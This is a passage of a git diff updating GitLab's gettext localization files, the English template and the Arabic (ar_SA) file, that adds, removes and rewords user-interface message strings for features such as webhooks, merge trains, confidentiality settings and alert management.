+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/ar_SA/gitlab.po b/locale/ar_SA/gitlab.po
index 2988b380b80..1f59b345d0a 100644
--- a/locale/ar_SA/gitlab.po
+++ b/locale/ar_SA/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ar\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:44\n"
+"PO-Revision-Date: 2020-09-04 23:06\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -64,13 +64,13 @@ msgstr[5] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -79,6 +79,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -481,6 +484,9 @@ msgstr[5] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -517,6 +523,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -589,6 +598,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -616,7 +628,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -703,9 +715,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -724,6 +733,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -733,6 +745,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -865,6 +889,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -898,6 +925,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -913,6 +943,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -1006,6 +1039,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -1039,6 +1075,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -1048,7 +1087,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -1096,6 +1150,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1366,15 +1423,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1438,7 +1486,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1456,6 +1504,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1558,6 +1609,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1669,6 +1723,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1705,12 +1762,6 @@ msgstr[5] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1825,6 +1876,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1837,6 +1891,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1849,6 +1906,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -2128,6 +2188,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2143,6 +2206,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2374,6 +2440,9 @@ msgstr[5] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2404,7 +2473,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2461,9 +2530,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2476,6 +2542,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2518,16 +2587,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2557,7 +2623,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2656,6 +2722,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2803,6 +2872,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2869,6 +2941,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2941,9 +3016,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -3085,13 +3169,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -3118,12 +3205,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -3202,6 +3295,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3433,6 +3529,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3445,6 +3544,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3460,9 +3562,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3571,7 +3670,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3583,9 +3682,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3598,6 +3694,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3865,7 +3964,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3943,6 +4042,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -4069,7 +4171,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -4183,6 +4285,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -4252,13 +4357,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4453,6 +4561,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4627,6 +4738,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4660,10 +4774,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4684,7 +4798,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4870,9 +4984,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -5098,7 +5209,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -5266,9 +5377,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5374,6 +5491,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5407,19 +5527,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5467,13 +5593,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5491,6 +5620,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
